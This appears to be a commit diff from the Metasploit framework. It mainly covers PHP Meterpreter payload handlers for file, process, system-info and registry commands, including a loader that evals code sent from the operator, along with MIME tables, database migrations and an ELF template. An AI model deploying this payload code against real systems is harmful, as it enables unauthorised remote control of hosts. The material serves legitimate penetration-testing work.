function stdapi_fs_delete($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
|
||||
@@ -342,6 +365,7 @@ function stdapi_fs_delete($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_getwd')) {
|
||||
register_command('stdapi_fs_getwd');
|
||||
function stdapi_fs_getwd($req, &$pkt) {
|
||||
my_print("doing pwd");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
|
||||
@@ -352,6 +376,7 @@ function stdapi_fs_getwd($req, &$pkt) {
|
||||
# works partially, need to get the path argument to mean the same thing as in
|
||||
# windows
|
||||
if (!function_exists('stdapi_fs_ls')) {
|
||||
register_command('stdapi_fs_ls');
|
||||
function stdapi_fs_ls($req, &$pkt) {
|
||||
my_print("doing ls");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@@ -392,6 +417,7 @@ function stdapi_fs_ls($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_separator')) {
|
||||
register_command('stdapi_fs_separator');
|
||||
function stdapi_fs_separator($req, &$pkt) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
|
||||
return ERROR_SUCCESS;
|
||||
@@ -399,6 +425,7 @@ function stdapi_fs_separator($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_stat')) {
|
||||
register_command('stdapi_fs_stat');
|
||||
function stdapi_fs_stat($req, &$pkt) {
|
||||
my_print("doing stat");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@@ -431,6 +458,7 @@ function stdapi_fs_stat($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete_file')) {
|
||||
register_command('stdapi_fs_delete_file');
|
||||
function stdapi_fs_delete_file($req, &$pkt) {
|
||||
my_print("doing delete");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@@ -446,6 +474,7 @@ function stdapi_fs_delete_file($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_search')) {
|
||||
register_command('stdapi_fs_search');
|
||||
function stdapi_fs_search($req, &$pkt) {
|
||||
my_print("doing search");
|
||||
|
||||
@@ -483,10 +512,50 @@ function stdapi_fs_search($req, &$pkt) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_md5')) {
|
||||
register_command("stdapi_fs_md5");
|
||||
function stdapi_fs_md5($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
||||
if (is_callable("md5_file")) {
|
||||
$md5 = md5_file($path);
|
||||
} else {
|
||||
$md5 = md5(file_get_contents($path));
|
||||
}
|
||||
$md5 = pack("H*", $md5);
|
||||
# Ghetto abuse of file name type to indicate the md5 result
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_fs_sha1')) {
|
||||
register_command("stdapi_fs_sha1");
|
||||
function stdapi_fs_sha1($req, &$pkt) {
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
||||
if (is_callable("sha1_file")) {
|
||||
$sha1 = sha1_file($path);
|
||||
} else {
|
||||
$sha1 = sha1(file_get_contents($path));
|
||||
}
|
||||
$sha1 = pack("H*", $sha1);
|
||||
# Ghetto abuse of file name type to indicate the sha1 result
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Sys Config
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_getuid')) {
|
||||
register_command('stdapi_sys_config_getuid');
|
||||
function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
my_print("doing getuid");
|
||||
if (is_callable('posix_getuid')) {
|
||||
@@ -505,15 +574,17 @@ function stdapi_sys_config_getuid($req, &$pkt) {
|
||||
}
|
||||
|
||||
# Unimplemented becuase it's unimplementable
|
||||
if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
my_print("doing rev2self");
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
#if (!function_exists('stdapi_sys_config_rev2self')) {
|
||||
#register_command('stdapi_sys_config_rev2self');
|
||||
#function stdapi_sys_config_rev2self($req, &$pkt) {
|
||||
# my_print("doing rev2self");
|
||||
# return ERROR_FAILURE;
|
||||
#}
|
||||
#}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_config_sysinfo')) {
|
||||
register_command('stdapi_sys_config_sysinfo');
|
||||
function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
my_print("doing sysinfo");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
|
||||
@@ -526,6 +597,7 @@ function stdapi_sys_config_sysinfo($req, &$pkt) {
|
||||
$GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
register_command('stdapi_sys_process_execute');
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
global $channel_process_map, $processes;
|
||||
|
||||
@@ -600,6 +672,7 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_sys_process_close')) {
|
||||
register_command('stdapi_sys_process_close');
|
||||
function stdapi_sys_process_close($req, &$pkt) {
|
||||
global $processes;
|
||||
my_print("doing process_close");
|
||||
@@ -653,6 +726,7 @@ function close_process($proc) {
|
||||
# to decide what options to send to ps for portability and for information
|
||||
# usefulness.
|
||||
if (!function_exists('stdapi_sys_process_get_processes')) {
|
||||
register_command('stdapi_sys_process_get_processes');
|
||||
function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
my_print("doing get_processes");
|
||||
$list = array();
|
||||
@@ -702,6 +776,7 @@ function stdapi_sys_process_get_processes($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_sys_process_getpid')) {
|
||||
register_command('stdapi_sys_process_getpid');
|
||||
function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
my_print("doing getpid");
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
|
||||
@@ -710,6 +785,7 @@ function stdapi_sys_process_getpid($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_sys_process_kill')) {
|
||||
register_command('stdapi_sys_process_kill');
|
||||
function stdapi_sys_process_kill($req, &$pkt) {
|
||||
# The existence of posix_kill is unlikely (it's a php compile-time option
|
||||
# that isn't enabled by default, but better to try it and avoid shelling
|
||||
@@ -740,6 +816,7 @@ function stdapi_sys_process_kill($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
|
||||
register_command('stdapi_net_socket_tcp_shutdown');
|
||||
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
|
||||
my_print("doing stdapi_net_socket_tcp_shutdown");
|
||||
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
@@ -780,6 +857,9 @@ function deregister_registry_key($id) {
|
||||
|
||||
|
||||
if (!function_exists('stdapi_registry_create_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_create_key');
|
||||
}
|
||||
function stdapi_registry_create_key($req, &$pkt) {
|
||||
my_print("doing stdapi_registry_create_key");
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
@@ -813,6 +893,9 @@ function stdapi_registry_create_key($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_close_key')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_close_key');
|
||||
}
|
||||
function stdapi_registry_close_key($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
@@ -831,6 +914,9 @@ function stdapi_registry_close_key($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_query_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_query_value');
|
||||
}
|
||||
function stdapi_registry_query_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
@@ -868,6 +954,9 @@ function stdapi_registry_query_value($req, &$pkt) {
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_registry_set_value')) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
register_command('stdapi_registry_set_value');
|
||||
}
|
||||
function stdapi_registry_set_value($req, &$pkt) {
|
||||
if (is_windows() and is_callable('reg_open_key')) {
|
||||
global $registry_handles;
|
||||
|
||||
@@ -30,6 +30,18 @@ if (!isset($GLOBALS['readers'])) {
|
||||
$GLOBALS['readers'] = array();
|
||||
}
|
||||
|
||||
# global list of extension commands
|
||||
if (!isset($GLOBALS['commands'])) {
|
||||
$GLOBALS['commands'] = array("core_loadlib");
|
||||
}
|
||||
|
||||
function register_command($c) {
|
||||
global $commands;
|
||||
if (! in_array($c, $commands)) {
|
||||
array_push($commands, $c);
|
||||
}
|
||||
}
|
||||
|
||||
function my_print($str) {
|
||||
#error_log($str);
|
||||
}
|
||||
@@ -389,14 +401,20 @@ function core_shutdown($req, &$pkt) {
|
||||
# isn't compressed before eval'ing it
|
||||
# TODO: check for zlib support and decompress if possible
|
||||
function core_loadlib($req, &$pkt) {
|
||||
global $commands;
|
||||
my_print("doing core_loadlib");
|
||||
$data_tlv = packet_get_tlv($req, TLV_TYPE_DATA);
|
||||
if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) {
|
||||
return ERROR_FAILURE;
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
$tmp = $commands;
|
||||
eval($data_tlv['value']);
|
||||
$new = array_diff($commands, $tmp);
|
||||
foreach ($new as $meth) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth));
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,388 @@
|
||||
# EXTENSIONS => CONTENT TYPE
|
||||
csh: application/x-csh
|
||||
x_t: model/vnd.parasolid.transmit.text
|
||||
kpt: application/vnd.kde.kpresenter
|
||||
vst: application/vnd.visio
|
||||
ksp: application/vnd.kde.kspread
|
||||
fsc: application/vnd.fsc.weblaunch
|
||||
vcs: text/x-vcalendar
|
||||
hvs: application/vnd.yamaha.hv-script
|
||||
seml: application/vnd.sealed.eml
|
||||
lzh: application/octet-stream
|
||||
movie: video/x-sgi-movie
|
||||
wav: audio/x-wav
|
||||
tbz2: application/x-gtar
|
||||
plt: application/vnd.hp-HPGL
|
||||
3gpp: video/3gpp
|
||||
eol: audio/vnd.digital-winds
|
||||
vsw: application/vnd.visio
|
||||
rtf: text/rtf
|
||||
rgb: image/x-rgb
|
||||
midi: audio/x-midi
|
||||
sit: application/x-stuffit
|
||||
mov: video/quicktime
|
||||
kfo: application/vnd.kde.kformula
|
||||
rdf: application/rdf+xml
|
||||
wpd: application/vnd.wordperfect
|
||||
hbc: application/vnd.hbci
|
||||
ogg: application/ogg
|
||||
dwf: x-drawing/dwf
|
||||
pbm: image/x-portable-bitmap
|
||||
cpp: text/plain
|
||||
smp3: audio/vnd.sealedmedia.softseal.mpeg
|
||||
html: text/html
|
||||
igs: model/iges
|
||||
dwg: image/vnd.dwg
|
||||
see: application/vnd.seemail
|
||||
ram: audio/x-pn-realaudio
|
||||
jad: text/vnd.sun.j2me.app-descriptor
|
||||
iges: model/iges
|
||||
pot: application/powerpoint
|
||||
exe: application/octet-stream
|
||||
siv: application/sieve
|
||||
wml: text/vnd.wap.wml
|
||||
hlp: text/plain
|
||||
pkd: application/vnd.hbci
|
||||
ice: x-conference/x-cooltalk
|
||||
ustar: application/x-ustar
|
||||
vis: application/vnd.visionary
|
||||
pkipath: application/pkix-pkipath
|
||||
ecelp4800: audio/vnd.nuera.ecelp4800
|
||||
tgz: application/x-gtar
|
||||
roff: text/troff
|
||||
ltx: application/x-latex
|
||||
nim: video/vnd.nokia.interleaved-multimedia
|
||||
qcp: audio/QCELP
|
||||
ai: application/postscript
|
||||
sppt: application/vnd.sealed.ppt
|
||||
igx: application/vnd.micrografx.igx
|
||||
tcl: application/x-tcl
|
||||
viv: video/vnd.vivo
|
||||
css: text/css
|
||||
wpl: application/vnd.ms-wpl
|
||||
ami: application/vnd.amiga.ami
|
||||
l16: audio/L16
|
||||
vivo: video/vnd.vivo
|
||||
dat: text/plain
|
||||
vrml: x-world/x-vrml
|
||||
pqa: application/vnd.palm
|
||||
request: application/vnd.nervana
|
||||
oprc: application/vnd.palm
|
||||
vbk: audio/vnd.nortel.vbk
|
||||
pki: application/pkixcmp
|
||||
ras: image/x-cmu-raster
|
||||
asc: text/plain
|
||||
kom: application/vnd.hbci
|
||||
jpeg: image/jpeg
|
||||
sem: application/vnd.sealed.eml
|
||||
chrt: application/vnd.kde.kchart
|
||||
tif: image/tiff
|
||||
cil: application/vnd.ms-artgalry
|
||||
xwd: image/x-xwindowdump
|
||||
dgn: image/x-vnd.dgn
|
||||
mxu: video/vnd.mpegurl
|
||||
csv: text/comma-separated-values
|
||||
kon: application/vnd.kde.kontour
|
||||
png: image/png
|
||||
bkm: application/vnd.nervana
|
||||
sxl: application/vnd.sealed.xls
|
||||
xfdf: application/vnd.adobe.xfdf
|
||||
snd: audio/basic
|
||||
dl: video/dl
|
||||
sxls: application/vnd.sealed.xls
|
||||
karbon: application/vnd.kde.karbon
|
||||
ico: image/vnd.microsoft.icon
|
||||
sus: application/vnd.sus-calendar
|
||||
pdb: x-chemical/x-pdb
|
||||
wif: application/watcherinfo+xml
|
||||
ser: application/x-java-serialized-object
|
||||
xmt_txt: model/vnd.parasolid.transmit.text
|
||||
upa: application/vnd.hbci
|
||||
pnm: image/x-portable-anymap
|
||||
jar: application/x-java-archive
|
||||
qt: video/quicktime
|
||||
tsv: text/tab-separated-values
|
||||
rtx: text/richtext
|
||||
mdi: image/vnd.ms-modi
|
||||
rcprofile: application/vnd.ipunplugged.rcprofile
|
||||
gl: video/gl
|
||||
me: application/x-troff-me
|
||||
man: application/x-troff-man
|
||||
tr: text/troff
|
||||
amr: audio/AMR
|
||||
wp5: application/wordperfect5.1
|
||||
pdf: application/pdf
|
||||
pgb: image/vnd.globalgraphics.pgb
|
||||
au: audio/basic
|
||||
avi: video/x-msvideo
|
||||
qxb: application/vnd.Quark.QuarkXPress
|
||||
wp: application/wordperfect5.1
|
||||
wmlsc: application/vnd.wap.wmlscriptc
|
||||
wbxml: application/vnd.wap.wbxml
|
||||
s1a: application/vnd.sealedmedia.softseal.pdf
|
||||
saf: application/vnd.yamaha.smaf-audio
|
||||
gtar: application/x-gtar
|
||||
Z: application/x-compressed
|
||||
crl: application/pkix-crl
|
||||
pti: application/vnd.pvi.ptid1
|
||||
rdz: application/vnd.data-vision.rdz
|
||||
aif: audio/x-aiff
|
||||
flo: application/vnd.micrografx.flo
|
||||
qxd: application/vnd.Quark.QuarkXPress
|
||||
rpm: audio/x-pn-realaudio-plugin
|
||||
djv: image/vnd.djvu
|
||||
jpe: image/jpeg
|
||||
kne: application/vnd.Kinar
|
||||
lvp: audio/vnd.lucent.voice
|
||||
stml: application/vnd.sealedmedia.softseal.html
|
||||
p7c: application/pkcs7-mime
|
||||
dms: application/octet-stream
|
||||
s1e: application/vnd.sealed.xls
|
||||
sdf: application/vnd.Kinar
|
||||
sc: application/vnd.ibm.secure-container
|
||||
jnlp: application/x-java-jnlp-file
|
||||
dvi: application/x-dvi
|
||||
smov: video/vnd.sealedmedia.softseal.mov
|
||||
jisp: application/vnd.jisp
|
||||
aifc: audio/x-aiff
|
||||
latex: application/x-latex
|
||||
cc: text/plain
|
||||
s1g: image/vnd.sealedmedia.softseal.gif
|
||||
wv: application/vnd.wv.csp+wbxml
|
||||
mseq: application/vnd.mseq
|
||||
jpg: image/jpeg
|
||||
mmf: application/vnd.smaf
|
||||
xmt_bin: model/vnd.parasolid.transmit.binary
|
||||
s1h: application/vnd.sealedmedia.softseal.html
|
||||
mpc: application/vnd.mophun.certificate
|
||||
hdf: application/x-hdf
|
||||
stk: application/hyperstudio
|
||||
txd: application/vnd.genomatix.tuxedo
|
||||
ent: application/vnd.nervana
|
||||
xml: text/xml
|
||||
aiff: audio/x-aiff
|
||||
sh: application/x-sh
|
||||
mpe: video/mpeg
|
||||
s1j: image/vnd.sealedmedia.softseal.jpg
|
||||
psid: audio/prs.sid
|
||||
mpga: audio/mpeg
|
||||
pgm: image/x-portable-graymap
|
||||
si: text/vnd.wap.si
|
||||
stm: application/vnd.sealedmedia.softseal.html
|
||||
lbd: application/vnd.llamagraphics.life-balance.desktop
|
||||
flw: application/vnd.kde.kivio
|
||||
mpg: video/mpeg
|
||||
c: text/plain
|
||||
sgi: image/vnd.sealedmedia.softseal.gif
|
||||
zip: application/zip
|
||||
ecelp7470: audio/vnd.nuera.ecelp7470
|
||||
lbe: application/vnd.llamagraphics.life-balance.exchange+xml
|
||||
qxl: application/vnd.Quark.QuarkXPress
|
||||
p10: application/pkcs10
|
||||
bpd: application/vnd.hbci
|
||||
ief: image/ief
|
||||
gz: application/x-gzip
|
||||
doc: application/word
|
||||
efif: application/vnd.picsel
|
||||
jpm: image/jpm
|
||||
hpgl: application/vnd.hp-HPGL
|
||||
s1m: audio/vnd.sealedmedia.softseal.mpeg
|
||||
xhtml: application/xhtml+xml
|
||||
xpm: image/x-xpixmap
|
||||
ms: application/x-troff-ms
|
||||
bcpio: application/x-bcpio
|
||||
sl: text/vnd.wap.sl
|
||||
wrl: x-world/x-vrml
|
||||
s1n: image/vnd.sealed.png
|
||||
irm: application/vnd.ibm.rights-management
|
||||
pgp: application/octet-stream
|
||||
entity: application/vnd.nervana
|
||||
mcd: application/vnd.mcd
|
||||
ecelp9600: audio/vnd.nuera.ecelp9600
|
||||
kwd: application/vnd.kde.kword
|
||||
gif: image/gif
|
||||
sdo: application/vnd.sealed.doc
|
||||
cer: application/pkix-cert
|
||||
m4u: video/vnd.mpegurl
|
||||
rst: text/prs.fallenstein.rst
|
||||
htm: text/html
|
||||
mxmf: audio/vnd.nokia.mobile-xmf
|
||||
psb: application/vnd.3gpp.pic-bw-small
|
||||
knp: application/vnd.Kinar
|
||||
cab: application/vnd.ms-cab-compressed
|
||||
mj2: video/MJ2
|
||||
sgm: text/sgml
|
||||
wbmp: image/vnd.wap.wbmp
|
||||
p7m: application/pkcs7-mime
|
||||
spng: image/vnd.sealed.png
|
||||
lha: application/octet-stream
|
||||
s1p: application/vnd.sealed.ppt
|
||||
texi: application/x-texinfo
|
||||
s1q: video/vnd.sealedmedia.softseal.mov
|
||||
troff: text/troff
|
||||
h: text/plain
|
||||
shtml: text/html
|
||||
msh: model/mesh
|
||||
irp: application/vnd.irepository.package+xml
|
||||
rct: application/prs.nprend
|
||||
smht: application/vnd.sealed.mht
|
||||
s11: video/vnd.sealed.mpeg1
|
||||
htke: application/vnd.kenameaapp
|
||||
ps: application/postscript
|
||||
mpm: application/vnd.blueice.multipass
|
||||
dfac: application/vnd.dreamfactory
|
||||
pvb: application/vnd.3gpp.pic-bw-var
|
||||
lrm: application/vnd.ms-lrm
|
||||
smh: application/vnd.sealed.mht
|
||||
mpn: application/vnd.mophun.application
|
||||
spd: application/vnd.sealedmedia.softseal.pdf
|
||||
tiff: image/tiff
|
||||
jp2: image/jp2
|
||||
rpss: application/vnd.nokia.radio-presets
|
||||
qxt: application/vnd.Quark.QuarkXPress
|
||||
wmlc: application/vnd.wap.wmlc
|
||||
rpst: application/vnd.nokia.radio-preset
|
||||
etx: text/x-setext
|
||||
bmp: image/bmp
|
||||
s14: video/vnd.sealed.mpeg4
|
||||
\"123\": application/vnd.lotus-1-2-3
|
||||
mpp: application/vnd.ms-project
|
||||
spf: application/vnd.yamaha.smaf-phrase
|
||||
kar: audio/x-midi
|
||||
mid: audio/x-midi
|
||||
3gp: video/3gpp
|
||||
3g2: video/3gpp2
|
||||
hqx: application/mac-binhex40
|
||||
p7s: application/pkcs7-signature
|
||||
ppm: image/x-portable-pixmap
|
||||
pspimage: image/x-paintshoppro
|
||||
cdf: application/netcdf
|
||||
texinfo: application/x-texinfo
|
||||
sjp: image/vnd.sealedmedia.softseal.jpg
|
||||
wbs: application/vnd.criticaltools.wbs+xml
|
||||
emm: application/vnd.ibm.electronic-media
|
||||
s1w: application/vnd.sealed.doc
|
||||
ra: audio/x-realaudio
|
||||
jpx: image/jpx
|
||||
evc: audio/EVRC
|
||||
mif: application/x-mif
|
||||
qwd: application/vnd.Quark.QuarkXPress
|
||||
mp2: video/mpeg
|
||||
spdf: application/vnd.sealedmedia.softseal.pdf
|
||||
tbz: application/x-gtar
|
||||
txt: text/plain
|
||||
x_b: model/vnd.parasolid.transmit.binary
|
||||
mp3: audio/mpeg
|
||||
class: application/x-java-vm
|
||||
smo: video/vnd.sealedmedia.softseal.mov
|
||||
mp4: video/vnd.objectvideo
|
||||
m4v: video/x-m4v
|
||||
htx: text/html
|
||||
hbci: application/vnd.hbci
|
||||
tex: application/x-tex
|
||||
vsc: application/vnd.vidsoft.vidconference
|
||||
wqd: application/vnd.wqd
|
||||
mfm: application/vnd.mfmp
|
||||
sgml: text/sgml
|
||||
smp: audio/vnd.sealedmedia.softseal.mpeg
|
||||
curl: application/vnd.curl
|
||||
cw: application/prs.cww
|
||||
djvu: image/vnd.djvu
|
||||
tga: image/targa
|
||||
vsd: application/vnd.visio
|
||||
t: text/troff
|
||||
wtb: application/vnd.webturbo
|
||||
spn: image/vnd.sealed.png
|
||||
plb: application/vnd.3gpp.pic-bw-large
|
||||
pps: application/powerpoint
|
||||
yaml: text/x-yaml
|
||||
psp: image/x-paintshoppro
|
||||
mjp2: video/MJ2
|
||||
sms: application/vnd.3gpp.sms
|
||||
hvd: application/vnd.yamaha.hv-dic
|
||||
acutc: application/vnd.acucorp
|
||||
ppt: application/powerpoint
|
||||
les: application/vnd.hhe.lesson-player
|
||||
vcf: text/x-vcard
|
||||
sjpg: image/vnd.sealedmedia.softseal.jpg
|
||||
kwt: application/vnd.kde.kword
|
||||
sic: application/vnd.wap.sic
|
||||
spp: application/vnd.sealed.ppt
|
||||
cmc: application/vnd.cosmocaller
|
||||
dot: application/word
|
||||
sv4cpio: application/x-sv4cpio
|
||||
cpio: application/x-cpio
|
||||
sswf: video/vnd.sealed.swf
|
||||
silo: model/mesh
|
||||
sid: audio/prs.sid
|
||||
yml: text/x-yaml
|
||||
smv: audio/SMV
|
||||
eps: application/postscript
|
||||
ptid: application/vnd.pvi.ptid1
|
||||
wks: application/vnd.lotus-1-2-3
|
||||
z: application/x-compressed
|
||||
hpp: text/plain
|
||||
htmlx: text/html
|
||||
ani: application/octet-stream
|
||||
sig: application/pgp-signature
|
||||
slc: application/vnd.wap.slc
|
||||
rm: audio/x-pn-realaudio
|
||||
smpg: video/vnd.sealed.mpeg4
|
||||
wmls: text/vnd.wap.wmlscript
|
||||
bin: application/x-mac
|
||||
mesh: model/mesh
|
||||
atc: application/vnd.acucorp
|
||||
pfr: application/font-tdpfr
|
||||
plj: audio/vnd.everad.plj
|
||||
rnd: application/prs.nprend
|
||||
xls: application/excel
|
||||
tar: application/x-tar
|
||||
mp3g: video/mpeg
|
||||
sgif: image/vnd.sealedmedia.softseal.gif
|
||||
oda: application/oda
|
||||
sdoc: application/vnd.sealed.doc
|
||||
kia: application/vnd.kidspiration
|
||||
prc: application/vnd.palm
|
||||
req: application/vnd.nervana
|
||||
xyz: x-chemical/x-xyz
|
||||
soc: application/sgml-open-catalog
|
||||
xlt: application/excel
|
||||
awb: audio/AMR-WB
|
||||
susp: application/vnd.sus-calendar
|
||||
xbm: image/x-xbm
|
||||
ccc: text/vnd.net2phone.commcenter.command
|
||||
hh: text/plain
|
||||
qwt: application/vnd.Quark.QuarkXPress
|
||||
shar: application/x-shar
|
||||
ssw: video/vnd.sealed.swf
|
||||
xul: application/vnd.mozilla.xul+xml
|
||||
kcm: application/vnd.nervana
|
||||
kpr: application/vnd.kde.kpresenter
|
||||
cdy: application/vnd.cinderella
|
||||
nc: application/netcdf
|
||||
src: application/x-wais-source
|
||||
sv4crc: application/x-sv4crc
|
||||
dtd: text/xml
|
||||
hvp: application/vnd.yamaha.hv-voice
|
||||
cww: application/prs.cww
|
||||
vss: application/vnd.visio
|
||||
rb: application/x-ruby
|
||||
log: text/plain
|
||||
swf: application/x-shockwave-flash
|
||||
flv: video/x-flv
|
||||
asf: video/x-ms-asf
|
||||
asx: video/x-ms-asf
|
||||
wma: audio/x-ms-wma
|
||||
wax: audio/x-ms-wax
|
||||
wmv: audio/x-ms-wmv
|
||||
wvx: video/x-ms-wvx
|
||||
wm: video/x-ms-wm
|
||||
wmx: video/x-ms-wmx
|
||||
wmz: application/x-ms-wmz
|
||||
wmd: application/x-ms-wmd
|
||||
m3u: audio/x-mpequrl
|
||||
rdp: application/rdp
|
||||
pcap: application/vnd.tcpdump.pcap
|
||||
torrent: application/x-bittorrent
|
||||
xlb: application/excel
|
||||
cue: application/x-cue
|
||||
@@ -4,7 +4,7 @@ class MigrateCredData < ActiveRecord::Migration
|
||||
begin # Wrap the whole thing in a giant rescue.
|
||||
skipped_notes = []
|
||||
new_creds = []
|
||||
Msf::DBManager::Note.find(:all).each do |note|
|
||||
Mdm::Note.find(:all).each do |note|
|
||||
next unless note.ntype[/^auth\.(.*)/]
|
||||
service_name = $1
|
||||
if !service_name
|
||||
@@ -46,7 +46,7 @@ class MigrateCredData < ActiveRecord::Migration
|
||||
if candidate_services.size == 1
|
||||
svc_id = candidate_services.first.id
|
||||
elsif candidate_services.empty?
|
||||
Msf::DBManager::Service.new do |svc|
|
||||
Mdm::Service.new do |svc|
|
||||
svc.host_id = note.host.id
|
||||
svc.port = default_port
|
||||
svc.proto = 'tcp'
|
||||
@@ -115,7 +115,7 @@ class MigrateCredData < ActiveRecord::Migration
|
||||
|
||||
say "Migrating #{new_creds.size} credentials."
|
||||
new_creds.uniq.each do |note|
|
||||
Msf::DBManager::Cred.new do |cred|
|
||||
Mdm::Cred.new do |cred|
|
||||
cred.service_id = note[0]
|
||||
cred.user = note[2]
|
||||
cred.pass = note[3]
|
||||
@@ -126,7 +126,7 @@ class MigrateCredData < ActiveRecord::Migration
|
||||
|
||||
say "Migrating #{skipped_notes.size} notes."
|
||||
skipped_notes.uniq.each do |note|
|
||||
Msf::DBManager::Note.new do |new_note|
|
||||
Mdm::Note.new do |new_note|
|
||||
new_note.host_id = note.host_id
|
||||
new_note.ntype = "migrated_auth"
|
||||
new_note.data = note.data.merge(:migrated_auth_type => note.ntype)
|
||||
@@ -135,7 +135,7 @@ class MigrateCredData < ActiveRecord::Migration
|
||||
end
|
||||
|
||||
say "Deleting migrated auth notes."
|
||||
Msf::DBManager::Note.find(:all).each do |note|
|
||||
Mdm::Note.find(:all).each do |note|
|
||||
next unless note.ntype[/^auth\.(.*)/]
|
||||
note.delete
|
||||
end
|
||||
|
||||
@@ -3,7 +3,7 @@ class RequireAdminFlag < ActiveRecord::Migration
|
||||
# Make the admin flag required.
|
||||
def self.up
|
||||
# update any existing records
|
||||
Msf::DBManager::User.update_all({:admin => true}, {:admin => nil})
|
||||
Mdm::User.update_all({:admin => true}, {:admin => nil})
|
||||
|
||||
change_column :users, :admin, :boolean, :null => false, :default => true
|
||||
end
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
class InetColumns < ActiveRecord::Migration
|
||||
|
||||
def self.up
|
||||
change_column :hosts, :address, 'INET using address::INET'
|
||||
remove_column :hosts, :address6
|
||||
end
|
||||
def self.up
|
||||
change_column :hosts, :address, 'INET using address::INET'
|
||||
remove_column :hosts, :address6
|
||||
end
|
||||
|
||||
def self.down
|
||||
change_column :hosts, :address, :text
|
||||
add_column :hosts, :address6, :text
|
||||
end
|
||||
def self.down
|
||||
change_column :hosts, :address, :text
|
||||
add_column :hosts, :address6, :text
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
class RenameWorkspaceMembers < ActiveRecord::Migration
|
||||
def up
|
||||
rename_table :project_members, :workspace_members
|
||||
end
|
||||
|
||||
def down
|
||||
rename_table :workspace_members, :project_members
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,42 @@
|
||||
; build with:
|
||||
; nasm elf_x86_template.s -f bin -o template_x86_linux.bin
|
||||
|
||||
BITS 32
|
||||
|
||||
org 0x08048000
|
||||
|
||||
ehdr: ; Elf32_Ehdr
|
||||
db 0x7F, "ELF", 1, 1, 1, 9 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 3 ; e_machine
|
||||
dd 1 ; e_version
|
||||
dd _start ; e_entry
|
||||
dd phdr - $$ ; e_phoff
|
||||
dd 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
